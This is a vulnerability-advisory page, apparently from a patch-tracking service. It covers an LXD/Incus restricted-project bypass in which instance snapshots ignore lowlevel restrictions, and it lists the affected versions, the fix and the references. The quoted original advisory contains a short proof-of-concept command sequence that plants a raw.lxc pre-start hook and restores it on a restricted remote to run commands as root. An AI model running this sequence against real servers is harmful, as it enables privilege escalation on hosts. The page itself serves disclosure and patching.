GHSA-47w9-6r3f-938g
LXD has restricted project bypass leading to arbitrary command execution
- Risk score
- 64/100
- CVSS
- 9.9 v3.1
- Published
- 6 Nov 2026
Open in the live forecast Today's forecast
What to know
- What it is
- Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Instance snapshots ignore the restricted.co…
- Affected
- github.com/canonical/lxd (go) < 0.0.0-20260630083100-c5184be310b1
- Fix
- Upgrade github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1 or later.
- Exploitation
- No known exploitation
Story map
At a glance
github.com/canonical/lxd: Amber, patch this week. Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Instance snapshots ignore the restricted.co…
The flaws
- GHSA-47w9-6r3f-938g: LXD has restricted project bypass leading to arbitrary command execution (CVSS 9.9)
- GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image (CVSS 9.9)
- GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image (CVSS 9.9)
- GHSA-pjff-c2wc-f6jm: LXD has arbitrary file write on client due to trusted image hash (CVSS 9.9)
The fix
Fix: Upgrade github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1 or later.
Who is exposed: github.com/canonical/lxd (go) < 0.0.0-20260630083100-c5184be310b1
Where it stands
- No known exploitation
Connects to
- Same weakness: Missing authorisation (CWE-862). 399 other warnings in 30 days
Why it is Amber
- CVSS 9.9 critical
- On your watchlist: Go
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| github.com/canonical/lxd | go | < 0.0.0-20260630083100-c5184be310b1 | 0.0.0-20260630083100-c5184be310b1 |
References
- https://github.com/advisories/GHSA-47w9-6r3f-938g
- https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
- https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
- https://nvd.nist.gov/vuln/detail/CVE-2026-48751
- https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
- https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
- https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe
- https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19
- https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
Original description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.
Last activity 6 Nov 2026. Patch Forecast updates every hour.